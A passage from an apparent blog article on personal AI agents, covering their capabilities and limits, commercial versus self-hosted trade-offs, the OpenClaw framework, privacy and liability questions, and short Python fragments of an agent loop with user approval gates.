Tool Access gives your agent hands. Memory and understanding mean nothing if the agent can’t actually do anything. Sending that email, booking the flight, moving money between accounts, adjusting your thermostat — without the ability to take real actions in real systems, you just have a very informed advisor, not an assistant.

Proactive Behavior is what makes the relationship feel genuinely collaborative. Instead of waiting for commands, your agent notices your calendar is packed tomorrow and suggests moving that optional meeting. It sees a price drop on something you’ve been watching. It reminds you about your mom’s birthday before you panic-search for gifts.

Each pillar reinforces the others. Memory enables personalization. Personalization makes proactive suggestions relevant. Tool access makes those suggestions actionable.

What Personal Agents Can Actually Do Today (Not Hype, Real Use Cases)

Let’s cut through the marketing hype and look at what personal agents can genuinely accomplish right now—and where they still fall flat.

Email and Calendar Triage

Today’s agents can scan your inbox, categorize messages by urgency, and draft contextually appropriate responses. They’re surprisingly good at protecting your focus time—automatically declining meeting requests that conflict with your “deep work” blocks, or suggesting alternative times that work better with your energy patterns. The key word is draft: you’re still approving before anything goes out.

Financial Monitoring

Agents connected to banking APIs can track spending against budgets, flag unusual transactions (“You’ve never spent $400 at this merchant before”), and even initiate bill negotiations with some services. Companies like Trim and Rocket Money have been doing basic versions of this for years—modern agents add conversational context and cross-account awareness.

Personal Knowledge Management

This is where agents genuinely shine. They can summarize articles you’ve saved, connect ideas across your notes, and surface relevant information when you need it—”You highlighted something about this six months ago.” It’s like having a research assistant with perfect memory.

The Honest Limitations

Agents still stumble on ambiguous situations, multi-step workflows with unclear dependencies, and anything requiring nuanced judgment about social dynamics. They hallucinate tool capabilities, misinterpret context, and occasionally take confident but wrong actions.

This is why human approval gates matter. The best agent architectures build in checkpoints: the agent proposes, you approve, then it executes. Fully autonomous operation remains a goal, not today’s reality—and that’s probably wise.

The Landscape: Who’s Building Personal Agents and What They’re Trading Off

Right now, four distinct philosophies are competing to become your AI agent provider—and each one makes fundamentally different bets about what matters most to users.

The Closed Ecosystem Giants

OpenAI’s Operator, Anthropic’s Claude, and Google’s Gemini offer the smoothest path to capable agents. You sign up, grant permissions, and immediately access state-of-the-art reasoning. The tradeoff? Your data flows through their servers, trains their models, and lives under their terms of service. You’re renting intelligence, not owning it.

The Enterprise Play

Microsoft’s Copilot takes a different angle: deep integration with the tools you already use at work. It reads your emails, attends your meetings, and knows your calendar. Powerful—but it means your employer’s AI knows your work patterns intimately. For individual users, this raises questions about where “helpful assistant” ends and “surveillance infrastructure” begins.

The Self-Hosted Alternative

Open-source frameworks like AutoGen, CrewAI, and MetaGPT let you run agents locally. Your data never leaves your machine. The cost? Setup requires technical skill, capabilities lag behind commercial offerings, and you’re responsible for maintenance. It’s the Linux of AI agents—powerful for those willing to invest the effort.

The Core Tension

Every agent architecture forces you to choose between three competing values:

• Capability: How smart and reliable is it?
• Privacy: Who sees your data?
• Ease of setup: How quickly can you start?

Today, you can optimize for two at most. Commercial agents nail capability and ease but sacrifice privacy. Self-hosted preserves privacy but demands technical effort and accepts capability gaps. There’s no free lunch—only informed tradeoffs.

OpenClaw: A Deep Dive Into Open-Source Personal Agents

OpenClaw takes an opinionated stance in the agent framework landscape: everything runs on your machine, your memory graph stays in local SQLite, and the tool system uses a plugin architecture that any developer can extend. It’s not the most capable agent framework, but it might be the most yours.

What actually makes it interesting: Unlike hosted solutions, OpenClaw stores all conversation history, learned preferences, and task patterns in a local database you can inspect, export, or delete. The plugin system means you can add integrations—calendar, email, file management—without waiting for a company’s roadmap.

The real requirements: You’ll need a machine with 16GB+ RAM to run local LLMs comfortably, or API keys for hosted models (which somewhat defeats the privacy point). Budget 4-6 hours for initial setup if you’re comfortable with command-line tools, longer if you’re learning. The documentation assumes you know what a virtual environment is.

The honest security picture: Your data stays local—good. But OpenClaw executes code on your system, meaning a malicious plugin could access anything you can. You’re trusting the open-source community to catch vulnerabilities, not a corporate security team. API keys stored locally are only as safe as your machine’s access controls.

When this makes sense: Self-hosting shines when you’re handling genuinely sensitive data (medical records, financial details, proprietary business information) and have the technical chops to maintain it. For most users automating calendar scheduling? Commercial options deliver more with less friction. Know your threat model before committing to the overhead.

The Questions Nobody’s Asking (But Should Be)

The glossy demos never mention these thorny realities, but they’ll define whether personal AI agents become genuinely useful or just another privacy nightmare.

Where does your agent’s memory actually live, and who can access it? Your agent needs to remember your preferences, past conversations, and behavioral patterns to be useful. But that memory has to exist somewhere. Cloud-hosted agents store your digital life on corporate servers—subject to subpoenas, data breaches, and terms of service changes. Self-hosted options keep data local, but most users can’t maintain enterprise-grade security. And what about sync across devices? The moment your agent’s memory touches a backup service, your “private” assistant becomes someone else’s training data opportunity.

What happens when your agent makes a mistake on your behalf? Your agent sends an email that tanks a client relationship. It books non-refundable flights for the wrong dates. It “helps” by deleting files you actually needed. Current legal frameworks have no clear answer for AI-intermediated mistakes. Are you liable because it’s “your” agent? Is the provider responsible? This ambiguity will remain until courts decide—probably through expensive lawsuits.

The lock-in problem is real. After a year, your agent knows your communication style, your priorities, your quirks. Switching providers means starting over—or does it? There’s no standard format for exporting “agent personality.” You’re not just locked into a service; you’re locked into a relationship.

“Delete my data” now means something different. Deleting an account used to mean removing records from a database. But when your data is your agent’s personality—woven into weights, preferences, and behavioral patterns—what does deletion even look like? Nobody has a good answer yet.

Build Your Own: A Simple Personal Task Agent in Under 200 Lines

Let’s stop talking theory and build something real. The complete agent below runs in under 200 lines of Python—simple enough to understand in one sitting, sophisticated enough to actually be useful.

The Architecture: Perceive → Plan → Act → Observe

Every capable agent follows this loop, whether it’s a million-dollar enterprise system or our humble task manager:

class PersonalTaskAgent:
    def __init__(self, memory_file="agent_memory.json"):
        self.memory = self._load_memory(memory_file)
        self.memory_file = memory_file
        self.pending_actions = []

    def run(self, user_input: str) -> str:
        # PERCEIVE: Understand what the user wants + context
        context = self._perceive(user_input)

        # PLAN: Decide what actions to take
        planned_actions = self._plan(context)

        # ACT: Execute (with approval gates!)
        results = self._act(planned_actions)

        # OBSERVE: Learn from what happened
        self._observe(results)

        return self._format_response(results)

Perceive gathers the user’s request plus relevant memory—past tasks, preferences, context from previous sessions. Plan breaks the goal into concrete steps. Act executes those steps (but only after asking permission for anything consequential). Observe updates memory with what worked and what didn’t.

Approval Gates: The “Are You Sure?” Layer

Here’s where our agent differs from a reckless script. Before any real-world action, it pauses:

def _act(self, planned_actions: list) -> list:
    results = []
    for action in planned_actions:
        if action.requires_approval:
            print(f"n🔔 Agent wants to: {action.description}")
            print(f"   Details: {action.details}")
            approval = input("   Approve? (y/n): ").lower().strip()

            if approval != 'y':
                results.append(ActionResult(action, "skipped", "User declined"))
                continue

        result = self._execute_action(action)
        results.append(result)
    return results

You decide what requires approval. Sending an email? Definitely. Adding a task to your list? Probably safe to auto-approve. The key is you set the threshold based on your comfort level.

Where This Is All Heading

The trajectory here is clear, even if the timeline isn’t: agents are becoming the default way we interact with our digital lives.

Near-term (the next 1-2 years): Agents won’t replace your apps—they’ll sit above them. Think of them as a new interface layer. You’ll still have Gmail, Notion, and your banking app, but instead of opening each one separately, you’ll tell your agent what you need and it’ll handle the context-switching. The apps become backend services; the agent becomes your frontend. This is already happening with tools like Rabbit R1 and the Humane Pin, though the execution is still rough.

Medium-term (2-4 years): The multi-agent future gets interesting. Instead of one general-purpose assistant, you’ll have specialized agents that collaborate—a finance agent that understands your spending patterns, a health agent tracking your wellness data, a work agent managing your professional life. They’ll negotiate on your behalf: “Your calendar agent and fitness agent agreed that Wednesday’s late meeting should move because you haven’t exercised in three days.”

The convergence point: On-device AI changes everything. When models can run locally on your phone with acceptable performance (we’re almost there), your personal agent gains access to context that cloud-based systems never could—your typing patterns, which apps you actually use, your location history. Privacy concerns shrink when data never leaves your device. Apple’s recent moves toward on-device processing aren’t just about privacy marketing; they’re positioning for a world where your phone’s AI knows you better than any cloud service ever could.

The interface you’re building today is practice for this inevitable future.

Full working code: GitHub →

The smartphone killed the folder. Social media killed the chronological feed. Personal AI agents are about to kill the app grid. We’re witnessing the early days of a fundamental shift in how humans interact with software—from you learning the interface to the interface learning you. The winners won’t be the companies with the most powerful models, but the ones that figure out how to earn enough trust to sit between you and your digital life. Whether you’re building these systems or just preparing to use them, understanding this architecture now gives you a head start on what’s coming.

Key Takeaways

• Agents aren’t chatbots—they combine memory, tool use, and planning to take autonomous action on your behalf, not just answer questions
• The MCP protocol is your bridge—it standardizes how agents connect to external services, so start building your integrations around this pattern today
• On-device AI is the unlock—true personal agents need local context and privacy guarantees that cloud-only systems can’t provide; watch Apple and Qualcomm’s moves closely

What’s the first workflow you’d hand off to a personal agent? Drop your use case in the comments—I’m genuinely curious what feels worth automating versus what still needs a human touch.